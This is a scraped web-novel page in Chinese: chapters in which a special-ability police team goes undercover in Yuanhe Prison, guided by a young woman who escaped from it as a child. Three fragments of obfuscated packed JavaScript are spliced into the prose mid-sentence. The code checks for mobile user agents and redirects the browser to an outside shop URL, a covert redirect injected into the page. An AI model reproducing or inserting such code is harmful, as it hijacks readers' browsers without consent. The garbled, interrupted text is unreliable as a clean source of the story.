黎肃乐了,塑起大拇指,“够爽快!” 他们到隐秘处坐下来,这里没有监控,很安全,黎肃脸沉下来,“源河监狱水深,之前查一个盗窃案涉及到里面的人,走正常程序,发现我们要找的那个人已经不在了,这个案子就只能成了悬案。” 他顿了顿,情绪更低沉,“后来陆续几个案子都和里面的人有关,还有跑进去的,我们为了抓人潜入进去,发现不对劲的时候,在里面的自己人已经没消息了。” “本来这是我们自己的事,不应该麻烦你,但那源河背后站的是吴家人,神神秘秘的,一直不肯放开权限,别家休想插手。” 赵随石点点头问,“去了几个人?” “三人。三个月前的事了。” “你有没有想过他们已经……” “我知道你的意思。”黎肃叹了口气,“这么久没有消息,只能往最坏的地方想,可是生是死就得亲眼见到吧,若是死了,连个尸骨也没有,我怎么和他们家人交代呢?” “关于他们的个人信息发给我一份吧。”赵随石说。 “你这是答应了?” 赵随石嗯了声,“于情于理,于公于私,你这个忙我当然得帮。” 见黎肃要说谢,他打断道,“先别着急谢我,等找到他们之后,再说谢也不迟。” * 容贤听他们商议如何顺利潜入源河监狱,听着听着就出了神。 杨理火离她近,一转头就看到她放空的表情,笑了一声,严回春问他笑什么?他朝容贤努了努嘴,“你们在这认真上了,可有些人啊,大概是觉得你们那计划啊,不行。” 严回春顺着他目光看,只见容贤一动不动,那眼睛都是飘着的,忍不住拍了拍手,“歪?你的意思?” !容贤猛的眨了眨眼,“什么?” “你对我们的计划有异议?” 容贤不好意思说没仔细听,支支吾吾半天,严回春皱紧眉头,“你到底在想什么?从刚才开始你就一直魂不守舍的。” “我……”容贤下意识看向赵随石,对上了眼睛,他正若有所思的瞧着她。 他说:“看来我们现在是商量不出什么了,大家就先回去吧,我们所知的信息还是太少。”他朝杨理火那看,“你那边也多打听一下,甚至小一点,毕竟现在内部没几个人知道我们要往源河监狱那边查。” 杨理火打了个OK手势,“我这边一直在打听,今天晚上我还会去见一个人,他曾在源河监狱当职,相信收获会不少。” “冷复,这一次我会离开中心区,但这段时间我不希望别人能看出我离开多长时间,你熟悉我的作风,你要多费一点心,中心区这边就要拜托你了。” “没问题,交给我就好。” “那就好。其他人也准备一下,随时待命。” “是!” “散会。” 赵随石离开前叫住容贤,“跟过来。” 他边走边说,“容贤。” “嗯?” “你是不是有什么话想和我说?” 容贤刚才的欲言又止,赵随石本就是人精,自然能看出来,“你刚才在想什么?” 容贤摸了摸链子上的绿宝石,“我…我有一件事没和你说过。” “我在听。” “我是黑户这件事你知道的,我其实出生在源河监狱,我本不该存在,也就没有什么社会认可的身份证号。” 她本来觉得这是个不怎么光彩的事情,说出来也没什么意义,只会给赵随石多几分麻烦。 能被带到中心区,有这么体面的生活,也不用担心黑户会被发现,这全是赵随石安排的。 没有人对她这么好过。 现在要去源河监狱,对赵随石来说,那是龙潭虎穴,可对她来说,那只是回家。 她想帮他。 “我知道一条安全的路。” “这次的任务交给我好吗?” 赵随石停下脚步。 走廊里很安静,只有远处偶尔传来的脚步声。他转过身,看着容贤。她站在他面前,微微低着头,手指还在无意识地摸着腕上那串绿宝石链子。 那是他送给她的入职礼物,从十六区回来的飞机上。 她说她出生在源河监狱。 她说她本不该存在。 她说她知道一条安全的路。 赵随石沉默了几秒。 他早就猜到了。从第一次看到她的档案,从那些被抹得干干净净的记录里,他就隐约有了猜测。 一个在十六区当了三年黑户的人,没有身份,没有背景,却能在源河监狱的爆炸后精准地逃出来,能在废弃区活得下来。 那不是运气,那是经验。 他需要一个这样的人。 从一开始,他把她从十六区带出来,就是因为他需要这把刀。 锋利,好用,没有牵挂,没有退路。 可现在,她站在他面前,主动告诉他这个秘密,主动说要帮他。 她信任他。 赵随石忽然觉得胸口有点闷。 他说不清那是什么感觉。高兴?当然高兴。他正愁怎么潜入源河监狱,她就送来了最关键的钥匙。从理性上讲,没有比这更好的安排了,她熟悉那里的地形,知道安全通道,甚至可能还记得一些连档案里都没记录的东西。 可他看着她那双平静的眼睛,忽然有点不想接这句话。 “你知道你在说什么吗?”他问,“你逃出来,想必是不愿意回去的,可你为什么又想回去呢?” 容贤愣了一下,似乎没想到他会这么问。 她想了想,认真地说:“没关系的。还有,你是在担心吗?我十一年前从那里逃出来的时候,那条路是安全的。现在……不知道。但总比你们硬闯要强。” 十一年前。 她逃出来的时候,才十一岁。 赵随石想起自己十一岁的时候在干什么。在中心区最好的学校里读书,有专门的异能辅导老师,有母亲每天准备的营养餐,有父亲偶尔抽空来参加的家长会。 而她在源河监狱里,趁着一场爆炸,一个人逃出来,在十六区当了三年黑户,靠打黑工活着。 “你父母……”他顿了顿,“他们还在吗?” 容贤摇头:“不在了。在我逃出来之前就死了。” 她说得很平静,像是在说一件很久远的事。可赵随石注意到,她那一瞬嘴角朝下,很是失落的样子。 “他们让你好好活着?”他问。 容贤抬起眼,看着他,目光里有一点意外,还有一点别的什么。她点了点头:“嗯。” 赵随石忽然明白那种闷闷的感觉是什么了。 不是高兴,也不是不高兴。是……愧疚?不舒服?好像都不是。更准确地说,是一种很别扭的感觉。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17282435|195618||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 他一直把她当刀用,可现在这把刀站在他面前,告诉他自己的过去,说要帮他,他反而觉得自己不配用这把刀。 都说他对她很好。 好什么?他给她一份工作,给她一个身份,给她一个住的地方。然后让她去福利院潜伏,让她去十一区抓人,让她去老船厂追李朝固。 他给了她这些,然后让她去拼命。 可她觉得这已经是“对她好”了。 赵随石深吸一口气,自嘲自己什么时候多愁善感,他没有心软的权力。压下心里那点说不清的情绪,现在不是想这些的时候。 源河监狱的事迫在眉睫,黎肃那边还等着消息,那三个失踪的异警部探员是死是活还不知道。 他需要她。 “那条路,”他开口,声音比平时低了一点,“你确定还记得怎么走?” 容贤眼睛亮了一下:“记得。我画出来给你。” “不用画。”赵随石说,“你带我们去。” 容贤愣住了,似乎没反应过来。 赵随石看着她:“这次任务,你跟我一起去。你带路,我负责其他的。但有一条”他顿了顿,目光变得严厉,“进去之后,一切听我指挥,不许单独行动,不许冒险。你只是带路的,明白吗?” 容贤用力点头:“明白!” 赵随石看着她那副认真的样子,心里那点古怪又冒了出来。他别开眼,转身继续往前走。 “去准备一下。”他说,“可能要待几天。带上必要的装备,还有……那串链子别摘,关键时刻能保命。” 容贤跟在他身后,声音里带着一点藏不住的高兴:“好!” 赵随石没回头,只是嘴角动了动。 他不知道自己在高兴什么。明明只是一次任务,明明她还是那把刀。可看着她眼睛亮起来的样子,他忽然觉得,这次去源河监狱,也许不只是查案。 也许,还能帮她做点什么。 帮她看看那个地方现在变成什么样了。 帮她想起来的时候,不那么难受。 帮她……好好活着。 走廊尽头,阳光从窗户照进来,落在他俩身上。容贤的影子跟在他后面,小小的,却走得稳稳当当。 赵随石心想:他还能心安理得的将她当做一把刀吗?他希望他可以。 * 与此同时,中心区某处。 赵止淮站在窗边,看着远处异防总局的轮廓,嘴角挂着一丝若有若无的笑。 “源河监狱。”他轻声说,“终于要去了。” 身后的人恭敬地低着头:“已经按您的吩咐,安排好了。” “赵随石那边呢?” “他刚开完会,应该是要亲自去。还有那个从十六区带来的丫头,也会一起。” 赵止淮笑了一声:“那丫头倒是有意思,能从源河监狱出来,现在又活得好好的,还能被赵随石捡回去。” “我这位哥哥控制欲强的可不是一定半点,也不知道这丫头到底是命好还是差呢。”他转过身,看向墙上挂着的一幅画。那画上是一片暗红色的花海,妖异而美丽,像是活的一样。 “让他们去吧。”他说,“让他们查,让他们以为自己离真相越来越近。” 他的手轻轻抚过画框,目光变得幽深。 “等他们到了那里,就会发现,有些真相,知道了,就回不来了。” 身后的人无声地退下。 房间里只剩下赵止淮一个人,和那幅暗红色的画。 画里花动了起来,慢慢的往画框外跑,赵止淮观赏了一会,摁住其中一朵,说,“别急,知道你喜欢他的血,你很快就会见到他了。” 30. 吵闹 陈丹工作了一整天,在看到门口的容贤,疲惫被一扫而空,她加快脚步往她身边去,惊喜道,“不是约好在大转盘见面吗?你这么在这等我?” “刚刚在隔壁办了个事,正好路过这里,索性就在这里等。” 容贤走在前面,陈丹跟上去,隔壁是□□,各种许可证,下意识问,“你要办什么证?” 容贤没回答,陈丹理解的说,“看来我不该问。” “这是规定。” “我知道!你的工作那么特殊,我懂得。你那么忙,今天专门抽出时间出来和我一起买东西,我已经很满足了。” 容贤知道她说的都是真心,一直以来,她对朋友的认知就是戴斯那样的,谈钱的关系,最为稳固。可陈丹不一样,她一直都体谅她的难处,支持她的一切决定。 看着她拉着自己的手,很脆弱,一捏就碎了,可她丝毫不怕。 这样就很好了,容贤很容易满足。 她问,“你想买什么东西?” “我也不知道。” 陈丹突然看到什么,摇了摇她的胳膊,指了指前方,“我们去那里看看!” 大转盘市场消费水平并不算低,并不会是陈丹首选之地。 容贤也是知道这点,才觉得奇怪。 她静静的看着陈丹看到价格后,变的失落的脸庞,“好贵啊。” 容贤注意到她要买的是男士电子表,是给谁买的呢? 陈丹恋恋不舍的放下,拉着容贤往前走,“我们去看看别家的把。”嘴里嘟囔着,“比我想的贵……” 容贤没听清后面,她停下来,在陈丹疑惑的目光下,买下了那个电子表,放在她手上。 “收下吧。” “不行!”陈丹反应很大的收手,盒子掉在地上,她慌张的捡起来,打开赶紧看了看,还好没坏,她松了口气,看向容贤又是紧绷着脸,“无功不受禄,你这是做什么?” “你不是很喜欢吗?”容贤想到她会拒绝,笑了笑,用她拒绝不了的口吻说,“拿着吧,你若是觉得欠我了,那之后我们出来的消费就归你管了。” “你真是…唉……”陈丹还没见过这么实诚的,一开始她没制止也是没想到容贤是买来给她的。 她开玩笑说,“你也不怕我骗你,万一我就是知道你有钱,故意在你面前说贵,骗你买呢。” “不会的。”容贤不带一丝嘲讽道,“你确实没钱。” 陈丹还真没法反驳,她咳嗽一声,一只手拿着袋子,另一只手拿出手机,开始准备记账,她边记边说,“你为什么不问我为什么要买男士表?” “你会说吗?” “也没什么不能说的。”陈丹收起手机,拉住她的手,“我哥哥在营养仓的事你也知道,负责治疗的大夫人很好,知道我们困难,让我们参与高校实验项目,做个试验者,他们的实验也是针对我哥哥这种情况。” “这限名额的,也不对外公布,要不是大夫从中周旋,我都不知道还有这么一回事。”她说到眼睛含泪,“治疗费全免,我只需要付卫生清洁费,电和营养费就可以。” “这是好消息。”容贤替她高兴。 “我很感激大夫,过几天就是他的生日,我想买个礼物送给他。我也不知道他喜欢什么,但我听别的同事聊天说到这个新上市的表,我查了照片,觉得很适合他。” 陈丹知道那个表很贵,她今天上班的时候摸了会鱼,查了下账号余额,给自己一个心理预期,只是没想到价格涨的这么快。 “谢谢你。” 容贤嗯了声,“还想买什么吗?” “不了!”陈丹果断摇头,“我们回去吧。” 容贤浅浅笑了一下,点头,“我送你。” 陈丹总感觉她这样子很眼熟,使劲想了想,“啪!”她拍了一下脑袋,像是发现了个大秘密,“你和赵部长越来越像了!” “啊?”容贤还没问问什么,陈丹就接着说,“就是那种霸气侧漏的感觉,好帅气!” “有吗?” “有!” 陈丹大力点头,容贤都怕她脑袋掉下来。 “好久没见赵部长,他怎么样?”陈丹问。 容贤不好形容,给出一个含糊的词,“差不多。” 已经到了陈丹所住的公寓楼下,容贤才告诉陈丹自己要消失一段时间。 陈丹听到后,还在傻笑的脸凝固,之前哥哥也会这么说,最后一次说完,再见面就是他再也醒不过来。 “会很危险吧。”她勉强平静,“难怪你今天有空陪我。” 容贤看她这样,心里也不好受,但该说的还是要说,“你如果什么事解决不了,可以联系这个人。”她给她发了一个号码,“他会帮你的。” 陈丹嗯了声,害怕多说一句,她就会控制不住自己。 她转身进入电梯,在电梯里,她看着数字变换,电梯门打开又关上,几个穿的花里花俏的衬衫打着架就进来了,她迟钝的从他们中间挤出去。 嗯?几个打架的人停下来,这小妮子竟然无视他们,那浑身的冷漠,不屑的气度,莫非是个高手!想到这,他们清醒了一下,这地方卧虎藏龙,还是小心为上,万一遇到个脾气不好的,那可不妙。 容贤慢悠悠的往自己住处走。 手机响了又响,她打开看来电显示,一秒没犹豫,点接听。 赵随石的声音传来,“见完你的朋友了?” “嗯。”容贤小声说。 “很难过?” “你怎么知道?” 赵随石短促的笑了下,“这很正常的,容贤,友情对人的影响不亚于亲情。” 容贤很快就接受自己在难过的事实。 “我等你回来。” 容贤的电话被挂掉了,她听到最后一句,开始跑起来。 在她深呼一口气站在赵随石面前,已经过了两分钟。 赵随石愣了下,看了下时间,似有所悟。 门卡放在把手处响了一下,她扭开门,“进来吧。” “不问我为什么等你?” 容贤摇头,“不需要。” 赵随石听出她的潜台词,这么信任他啊。他坐在沙发上,看到了她收拾好的行李说:“时间提前,一会就要出发去源河监狱。” 容贤哦了一声,眼睛没离开过他的头发,“你的头发……” 赵随石勾起自己染黑的头发,“你说这个啊,白发扎眼,源 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17291009|195618||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 河认识我的人不少,我不想给自己找麻烦。” 等等,他觉得自己眼花了,虽然容贤一脸平静,但他却能看出心疼。 是心疼他的头发吗?是他的错觉吧? 容贤喃喃道,“好可惜。” 耳尖的赵随石听的清清楚楚,哭笑不得。他算是看出来了,容贤应该是喜欢他的长发。 手机振动了一下,他看了眼,站起来,“走吧,该出发了。” 悬浮车已经在楼下等待,依旧是车尔当司机,其他人已经到了飞机场,他此行是特意来接赵随石和容贤的。 赵随石需要带的东西比较多,已经提前出发,容贤知道后,完全没有意外,毕竟他无论出现在哪里,都要优雅的样子。 这个时候,路上的行人很少,前往飞机场的方向车辆寥寥无几,一路顺利的到达机场,和等他们的队友们碰上面。 杨理火抓了抓乱糟糟的头发,打了个哈欠说:“等的黄花菜都凉了,等的我们好苦啊。” 严回春臭着一张脸,“张嘴就是胡说八道,睡的比谁都欢,刚才那么大动静,也没见你眼皮动一下。” 被拆穿,杨理火也不觉尴尬,摊手,“你没吵过人家,气不顺我理解,但也怪不着我啊,朝我发什么火。” 他也不怕引火上身,和向开颜说,“严哥嘴笨不是一天两天了,脑子也不太好使,挺可怜的,你就让让他吧。” 严回春那边拳头硬了,就要揍杨理火一顿,这小子跑的挺快,颠颠地跑到了容贤身边,肩膀撞了撞她,让她挡着。 容贤被推到前面,也来不及想怎么了,顺手就接了严回春一掌,几次来回,严回春见过不去,气的脸都红了,他竟然打不过! 这杨理火倒是全身而退,拱火能力炉火纯青,向开颜都看不过去,“你够了啊,知道他傻还挑事,别说他了,我都想揍你一顿。” “容贤,别拦着,让他揍。” “哦。” 容贤闪到一旁。 严回春冷哼一声,收回手,“不和你计较。” 他们在一起总是吵吵闹闹,什么小事都能吵,赵随石之前觉得他们需要学习一下人际交流一类的课程,现在他反而很珍惜这种吵闹的感觉。 容贤在他们之间觉得很轻松,沉闷的脸上露出一丝微不可查的笑。 连她自己也不知道。 异警部的卓蓝那边有自己的离区渠道,她们乔装打扮,改头换面,并未和他们同行,卓蓝说,她们会在合适的时间见面。 为了确保万无一失,她们的部署只有赵随石一人知道,黎肃都不知道,他也要求自己不可知道。 此事事关重大,源河监狱里藏着诸多秘密,背后的人是不会轻易让他们知晓秘密,所用的手段定然凶残万分。 黎肃是怕自己被抓,严刑逼供,索性就什么都不知,他已经做好随时牺牲的准备。 异警部下一任是他无法控制的,那就在他有生之年,为赵随石坐镇后方,就像当年赵随石被困被审,苦痛加身,不承认当年参与爆炸案的名单是真的。 他就在那个名单上。 一旦承认,他,还有一些无辜的人,都将死在那一年。 那年赵随石二十岁。 31. 潜入 飞机穿过云层,舷窗外漆黑一片,容贤坐在窗边,偶尔能看到下方星星点点。。 这是一架私人飞机,看不出什么型号,只知道是赵家的。 内部空间不大,布置舒适,座椅是真皮的,桌上摆着点心和饮料。 车尔在驾驶舱里专注地操控着方向,剩下的人就在客舱里坐着,各个都有自己的事要做。 杨理火翘着二郎腿,翻着手里的身份卡,嘴里念念有词:“曾易,三十五岁,诈骗惯犯,涉案金额三百二十万,被判七年……” 严回春瞥他一眼:“你这是给自己量身定制啊,不错不错,你很擅长。” “承蒙夸奖,确实,能找到这么天才的身份,也只有我了。”杨理火不慌不忙,“开颜,你说对不对?” “说的对。”向开颜正对着镜子调整自己的发型,闻言慢悠悠道:“包欣欣,四十二岁,过失杀人,判十二年。这个身份还是挺好的。” 杨理火满意点头,“只有你懂我。”又去看容贤:“你呢?感觉怎么样?” 容贤低头看着手里的身份卡:“白容,二十四岁,偷盗贵重物品,涉案金额八十万,判五年。” 杨理火解释,“这是我专门给你找的,符合你的人设,闷声干大事那种。” 容贤没理他,把身份卡收好,目光落在赵随石身上。他坐在前面靠窗的位置,手里也拿着一张卡,眉头微蹙。 “安珏。”严回春凑过去念出声,“三十九岁,强盗团核心成员,涉及多起暴力抢劫,判无期。”他大为震撼,“赵哥,你这是重刑犯啊。” “杨理火,你怎么回事,沒安好心。” “哎呀,这不是没几个合适的嘛,有就不错了。”楊理火打哈哈,试图混过去。 赵随石没什么表情,只是把卡收进口袋,看向窗外。 车尔的声音从驾驶舱传来:“还有半小时降落。记住,进去之后,你们就是这些人。名字、背景、罪名,都背熟了。源河监狱有自己的档案系统,和我们那边不联网,但他们会做基础核查,别露馅。” 严回春皱眉:“我们这几个罪名各不相同,怎么凑一块儿的?” “随机押送。”赵随石终于开口,“犯人不一定认识,一起进监区很正常。如果有人问,就说路上认识的,或者干脆说不熟。” 向开颜点点头:“分开关押,男女分开,咱们得兵分两路。” “对。”赵随石看向容贤,“你和开颜进女监,我们进男监。进去之后,先熟悉环境,别急着行动。监狱里有自己的规矩,摸清了再动。” 容贤点头。 杨理火忽然问:“那个卓蓝呢?她们什么时候来?” “不知道。”赵随石说,“她有她的渠道,到了自然会联系。” 严回春啧了一声:“搞得这么神秘。” “安全第一。”赵随石看了他一眼,“源河监狱水深,背后是谁我们都清楚。卓蓝是异警部的人,如果被抓,牵连的不只是她自己。” 客舱里安静下来。 飞机开始下降,舷窗外的颜色越来越亮,远处,有一道隐约可见的、泛着微光的细线,横亘在地平线上。 源河防线。 容贤盯着那道线,心里涌起一种奇妙的安定感,大概是因为她从小就在看的缘故吧,她觉得安心。 “到了。”车尔的声音传来,“准备降落。” …… 源河监狱的大门依旧是那个样子,重新修建也不换一个新样式,还有这灰蒙蒙大雾,什么也看不清,当年她趁着爆炸离开,回头看到的也是这样的天空。 从空中看,它像一座灰黑色的堡垒,匍匐在荒原上,四周是高耸的围墙和瞭望塔,塔顶有探照灯来回扫射。监狱后方,罩着一个巨大的棚子。 “那是犯人的工作地点。源河防线需要定期维护,那些工作,都是里面的人在做。”赵随石正和其他队友科普。 容贤有种错觉,觉得他比她还熟悉这里。 飞机降落在监狱外的专用停机坪。 舱门打开,一股干燥冰冷的风灌进来,带着说不清的、类似金属和尘土混合的气味。 几个穿着制服的人已经在外面等着。为首的是个四十多岁的男人,方脸,厚嘴唇,目光精明而警惕。他身后站着四个全副武装的狱警,手里拿着能量枪。 容贤对这个男人并不陌生,原本只是一个不起眼的狱警,看他衣服上的标志,成了一位管理员。这并不意外,如果对方没有死于那场爆炸,升职也在所难免。 她放轻呼吸,让自己的存在感降到最低。 “赵家的人?”那男人上前一步,目光在几人身上扫过。 车尔走在最前面,递出一份文件:“德威特,负责押送。这是名单。” 男人接过文件翻了翻,点了点头:“吴局长交代过了,你们直接进流程。”他朝身后的狱警摆摆手,“带他们去登记。” 容贤低着头,跟在向开颜身后,往监狱大门走去。路过那男人身边时,她感觉到他的目光在自己身上停了一瞬。 很轻,但存在。 她没有抬头,只是放慢了一点脚步,落在向开颜后面。 离男人最近的狱警问,“刘长官,怎么了?你在看什么?” “……没,去做你该做的事去。” …… 登记处在一栋灰色的小楼里。男女分开。 容贤和向开颜被带进一间狭窄的房间,里面只有一张桌子、两把椅子,和一个面无表情的女狱警。 “脱衣服。” 向开颜看了容贤一眼,率先动手。容贤跟着照做,动作利落,没有迟疑。 女狱警拿着扫描仪在她们身上扫过,重点检查了手腕和脚踝。 容贤腕上的绿宝石链子在扫描仪下闪过一道微弱的光,但什么也没发生,赵随石说过,这东西经过特殊处理,普通设备检测不到。 女狱警才不管她手腕带着什么,通通让她卸下来,目光严厉,“动作快!” 在向开颜隐含担忧的眼睛下,她摘下来,放在盒子里说:“这个链子对我来说很重要。” 女狱警无情的合上盖子,“等你出来,回原样返还。” “可以了。”它指了指旁边的柜子,“换囚服,编号贴在左胸。你们是0178和0179号。” 囚服是灰蓝色的,粗糙,不合身。容贤感觉良好。 向开颜觉得自己像是披了一层砂纸,不算细腻的皮肤被磨的生疼,能看到的手腕已经发红,她皱了皱眉。 “出来。” 她们被带出小楼,穿过一道铁门,进入真正的监区。 女监在监狱的东侧,是一栋四层的灰砖楼,每层都有铁栏杆围成的走廊。此刻正是放风时间,院子里三三两两站着一些女囚,有的晒太阳,有的低声交谈,有的只是靠着墙发呆。 容贤的目光扫过人群,离开六年,犯人已经换了一波人,她竟一个都不认识,心里划过惊疑。 这些人大约有四十个左右,年龄从二十到六十不等,多数人脸上带着麻木,少数几个眼神锐利,在她们经过时投来审视的目光。 “新来的。”一个声音响起。 容贤循声看去,院子的角落,有个四十多岁的女人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17299832|195618||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 正坐在石凳上,手里拿着一本书。她穿着和其他人一样的囚服,但气质完全不同,坐姿端正,目光沉稳,像是坐在自己的书房里。 “那边是烟烟姐。”带路的狱警低声说了一句,没多解释。 向开颜和容贤交换了一个眼神。 这个烟烟姐应该是女监里的“人物”。 她们被带到四楼的一间牢房。和外面的职工宿舍房间没什么太大区别,四张上下铺,住着六个人,现在加上她们,正好满员。 “就是这里了,空着那两个就是你们的床铺。”狱警和她们说完,敲了敲离得近的床,“两个新人,有什么不懂就告诉她们。” 没等人回应,她就走了。 容贤扫了一眼房间,最靠里的那张下铺空着,上铺躺着一个年轻女人,正闭着眼睛,不知道睡没睡。靠窗的位置有个中年女人盘腿坐着念经,对她们也视若无睹。还有几个人挤在角落里打牌,时不时传来压抑的笑声。 向开颜走过去,把东西放在那张空铺上。容贤跟过去,刚坐下,就感觉到一道目光落在自己身上。 是那个念经的女人,她睁开眼,看着容贤,眼神平静得近乎冷漠。 “新来的?叫什么?” “白容。”容贤按照身份卡上的回答。 “犯了什么事?” “偷东西。” 女人点点头,又不再说话。 容贤靠在墙上,目光扫过房间里每一个人。那个打牌的几个女人偶尔偷看她们一眼,但很快就移开视线。上铺的年轻女人翻了个身,背对着她。 一切都很正常。正常的冷漠,正常的好奇,正常的排外。 但容贤总觉得有什么地方不对劲。 她说不上来。 …… 与此同时,男监那边。 赵随石、杨理火、严回春被分到了同一间牢房,本来也没那么巧,牢房空出三个床铺很少见,是赵随石提前要求,专门找到这么一间牢房让他们以“同案犯”的名义关在一起。 牢房比女监那边大一些,住着十个人。他们三个进来之后,立刻成了全屋的焦点。 一个光头男人从床上坐起来,打量着他们,目光在赵随石脸上停得最久。 “新来的?” “嗯。”赵随石简短地应了一声,走到靠窗的一个空铺坐下。 光头男人笑了一声,那笑声里带着点试探,也带着点挑衅:“脾气不小。犯什么事儿了?” “强盗。” “强盗?”光头挑了挑眉,“那可是重罪。看来你手上沾过血。” 赵随石没说话,只是看着他。 光头被他看得有点不自在,移开视线,又去看杨理火和严回春:“你们俩呢?也是强盗?” 杨理火露出一个标准的骗子式笑容:“我是诈骗。他杀人。” “杀人?”光头又看向严回春,眼神里多了几分忌惮。 严回春面无表情地坐在自己铺上,连眼皮都没抬。 光头忽然鼓起掌,哈哈大笑起来:“真有意思。刚换个房间还能给我这么大的惊喜,比我之前呆的有趣多了,我们这啊,卧虎藏龙。” 他站起身,走到赵随石面前,伸出手:“叫我黑哥就行。这屋里我说了算,有什么事,跟我说。” 赵随石看着他伸出的手,没有握,只是点了点头。 黑哥的手悬在半空,全然不觉尴尬,把手收了回去,“行,有性格,我喜欢。” 杨理火和严回春交换了一个眼神。 这个黑哥,就是男监里的一个“派系头目”。他们刚进来,就碰到了。 32. 温室 第一晚,相安无事。 容贤躺在硬邦邦的床板上,听着周围此起彼伏的呼吸声,睁着眼睛看着天花板。 天花板上本来应该有一道细细的裂缝,从墙角延伸到中间。 六年了,物是人非。 她侧过身,面向墙壁,想起一个小姑娘在墙上用指甲刻写,层层叠叠,有些已经模糊不清。最底下那一层,刻着一个日期,那是她离开的那一年。 那时候她十一岁,刚刚失去父母,一个人躲在角落里,用手指在墙上划下这一天。她不知道自己为什么要刻,只是觉得应该留下点什么。 后来爆炸发生了,她趁乱逃了出去,再也没回来。 现在她回来了,以另一个身份。 向开颜睡在她对面的下铺,呼吸平稳,像是真的睡着了。但容贤知道她没睡,她们这样的人,在新环境里不可能真正入睡。 凌晨两点,走廊里传来脚步声。很轻,但很有规律,像是巡逻的狱警。脚步声经过门口,停了一秒,然后继续远去。 容贤闭上眼睛,开始默数。 数到三百的时候,她睁开眼,悄悄坐起来。 牢房里很暗,只有门上的小窗透进来一点走廊的光。她看向向开颜的铺位,向开颜也睁着眼,正看着她。 容贤用手指在床边敲了两下,很轻,几乎听不见,但足够向开颜看清。这是她们约定好的信号:我去探路,你掩护。 向开颜几不可察地点了点头。 容贤滑下床,赤脚踩在冰凉的水泥地上。她的囚服和别人的混在一起,挂在床头的铁杆上。 她没有动那些衣服,只是从枕头下面摸出一根细细的铁丝,那是她在登记处趁人不注意顺的,一直藏在手心里。 门是老式的机械锁,没有电子感应。这对她来说是好事。 铁丝探进锁孔,轻轻转动。三秒后,“咔”的一声轻响,门开了一条缝。 容贤闪身出去,把门虚掩上。 走廊里空无一人。她贴着墙,往楼梯方向移动。每一步都很轻,像猫一样。 四楼、三楼、二楼…… 她在二楼拐角处停下来,侧耳倾听。楼下有说话声,断断续续,听不清内容。她探出半个脑袋往下看,一楼的值班室里亮着灯,两个狱警正坐着喝茶聊天。 容贤收回目光,转身往另一个方向走。 女监的布局和她记忆中不太一样。 有些墙被拆了,有些门换了位置,但主体结构没变。她绕到东侧的尽头,那里有一扇铁门,门上挂着“闲人免入”的牌子。 她记得这扇门,六年前,这里通向后院。现在,牌子换了。 容贤蹲下来,仔细查看门缝。门缝下面有细微的磨损痕迹,说明这扇门经常被打开。门框上有一道浅浅的划痕,像是被什么东西拖拽过。 她凑近闻了闻。 那股气味还在,甜腥、冰冷、带着金属的冷意。很淡,但逃不过她的鼻子。 异花。 这里应该就是去温室的必经之路。 她正要再靠近一些,忽然听到身后传来脚步声。 容贤瞬间贴到墙角的阴影里,屏住呼吸。 脚步声越来越近,然后停在她身后两米的地方。 “出来吧。”一个女人的声音,平静,带着点笑意,“我知道你在那儿。” 容贤没有动。 那女人又说:“别藏了,小姑娘。你身上那股‘外面’的味道,隔着一层楼我都能闻到。” 容贤并不相信她说的话,迟迟不动。 “你若是再不出来,我这喊一嗓子,你猜会是什么后果?” 容贤不得不从阴影里走出来。 月光从走廊尽头的窗户照进来,落在她们之间。那女人四十多岁,身材瘦削,五官普通,但眼神很亮,像是能看透人的心思。 是烟烟姐。 “新来的那个小偷。”烟烟姐上下扫视,“胆子不小,第一晚就敢出来乱逛。” 容贤没说话。 烟烟姐往前走了一步,靠近她,忽然压低声音:“你不是小偷。” 容贤蓄力,不动声色,“什么意思?” “你的手。”烟烟姐指了指她的手,“小偷的手,不是这样的。你手上没有茧,皮肤很细,说明你不常干活。但你站姿很稳,呼吸很轻,像是练过的。” 她说对了一半,容贤等她说下去。 烟烟姐笑了笑,那笑容里有些复杂的意味:“你大可放心,今夜的事我不会与他人说,在这地方,多一事不如少一事,我懂。”她顿了顿,凑得更近,“但你要记住,这里不是你撒野的地方。有些人,有些事,碰了会死。” 她说完,就要转身走。 “等等。” 容贤喊住她,“你到底是谁?” “还是那句话,知道的越多,死的越快。”烟烟姐脚步声渐渐远去。 容贤站在原地,看着她的背影消失在黑暗里。 深更半夜出没,这个烟烟姐的目的会是什么呢?她不认为她只是为了警告自己特意出来。 还是太松懈了。 容贤有些后悔自己没及时躲开。 第二天一早,喇叭响了。 所有人起床、洗漱、吃饭、然后去“工作区”。 容贤和向开颜被分到了同一个工作小组,监狱后方的处理区。她们的工作是把从源河防线运回来的废料进行分类,挑出还能用的部分,剩下的送进粉碎机。 工作枯燥,重复,但容贤很喜欢。 